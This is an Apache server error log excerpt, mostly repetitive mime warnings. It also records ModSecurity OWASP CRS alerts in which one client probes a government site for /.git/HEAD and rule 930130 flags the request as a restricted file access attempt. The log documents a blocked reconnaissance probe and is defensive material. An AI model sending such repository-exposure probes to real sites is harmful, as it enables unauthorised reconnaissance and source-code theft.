[Fri Jul 17 10:03:18.736878 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736916 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:18.736947 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102686 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102768 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102794 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102849 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102875 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102896 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102916 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102939 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102958 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102978 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.102998 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:19.554025 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.008962 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.454835 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.454912 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.454938 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.454960 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.454980 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455001 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455022 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455054 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455078 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455099 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455121 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455140 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455160 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455179 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455203 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455222 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455243 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.455263 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906353 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906433 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906461 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906483 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906503 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906523 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906543 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906562 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906581 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906601 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906621 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906664 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906684 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906707 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906727 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906747 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:20.906766 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:21.891017 2026] [security2:error] [pid 2065293:tid 2065293] [client 35.162.140.124:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwkXqWRBnLzLzgwXgzbwAAAAQ"], referer: https://sucuri.net
[Fri Jul 17 10:03:21.891554 2026] [security2:error] [pid 2065293:tid 2065293] [client 35.162.140.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwkXqWRBnLzLzgwXgzbwAAAAQ"], referer: https://sucuri.net
[Fri Jul 17 10:03:21.891845 2026] [security2:error] [pid 2065293:tid 2065293] [client 35.162.140.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwkXqWRBnLzLzgwXgzbwAAAAQ"], referer: https://sucuri.net
[Fri Jul 17 10:03:23.120749 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwkxf3V7HXByUCfDSxugAAABY"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:03:23.120801 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwkxf3V7HXByUCfDSxugAAABY"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:03:23.474459 2026] [security2:error] [pid 2065296:tid 2065296] [client 35.162.140.124:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwk6alZQB2GOvLY17cpAAAAAc"], referer: https://sucuri.net
[Fri Jul 17 10:03:23.484724 2026] [security2:error] [pid 2065296:tid 2065296] [client 35.162.140.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwk6alZQB2GOvLY17cpAAAAAc"], referer: https://sucuri.net
[Fri Jul 17 10:03:23.485132 2026] [security2:error] [pid 2065296:tid 2065296] [client 35.162.140.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwk6alZQB2GOvLY17cpAAAAAc"], referer: https://sucuri.net
[Fri Jul 17 10:03:23.891687 2026] [security2:error] [pid 2063889:tid 2063889] [client 34.31.88.250:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "anandaobauae.org"] [uri "/"] [unique_id "almwk-m5CUZD8nfUE72vIgAAAAo"], referer: https://anandaobauae.org/
[Fri Jul 17 10:03:23.894096 2026] [security2:error] [pid 2063889:tid 2063889] [client 34.31.88.250:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "anandaobauae.org"] [uri "/"] [unique_id "almwk-m5CUZD8nfUE72vIgAAAAo"], referer: https://anandaobauae.org/
[Fri Jul 17 10:03:23.894294 2026] [security2:error] [pid 2063889:tid 2063889] [client 34.31.88.250:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "anandaobauae.org"] [uri "/"] [unique_id "almwk-m5CUZD8nfUE72vIgAAAAo"], referer: https://anandaobauae.org/
[Fri Jul 17 10:03:24.689447 2026] [security2:error] [pid 2063895:tid 2063895] [client 35.162.140.124:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwlBf3V7HXByUCfDSxuwAAABY"], referer: https://sucuri.net
[Fri Jul 17 10:03:24.690395 2026] [security2:error] [pid 2063895:tid 2063895] [client 35.162.140.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/.git/HEAD"] [unique_id "almwlBf3V7HXByUCfDSxuwAAABY"], referer: https://sucuri.net
[Fri Jul 17 10:03:24.859835 2026] [security2:error] [pid 2063895:tid 2063895] [client 35.162.140.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almwlBf3V7HXByUCfDSxuwAAABY"], referer: https://sucuri.net
[Fri Jul 17 10:03:28.169994 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170086 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170114 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170135 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170155 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170175 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170195 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170223 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170244 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.170264 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214163 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214294 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214336 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214379 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214405 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214436 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214458 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214479 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214500 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214522 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214543 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214563 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214583 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214604 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214634 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214660 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214682 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214703 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214724 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214745 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214766 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214787 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214808 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214829 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214850 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214871 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214891 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214912 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214932 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214954 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214975 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.214995 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215016 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215036 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215119 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215164 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215185 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215218 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215240 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215266 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215286 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215305 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215339 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215359 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215378 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215411 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215430 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215452 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215475 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.215497 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.535639 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:28.989187 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:29.358883 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:38278] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:03:29.438830 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:29.889894 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.341548 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.341649 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817316 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817387 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817411 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817429 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817447 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817464 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817482 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817499 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817517 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817534 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817552 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817570 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817588 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817605 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817641 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817685 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817703 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817721 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817738 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817757 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817774 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817792 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817809 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817826 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817844 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817862 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817879 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817897 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817914 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817931 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817948 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817966 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.817984 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818002 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818019 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818036 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:03:30.818071 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
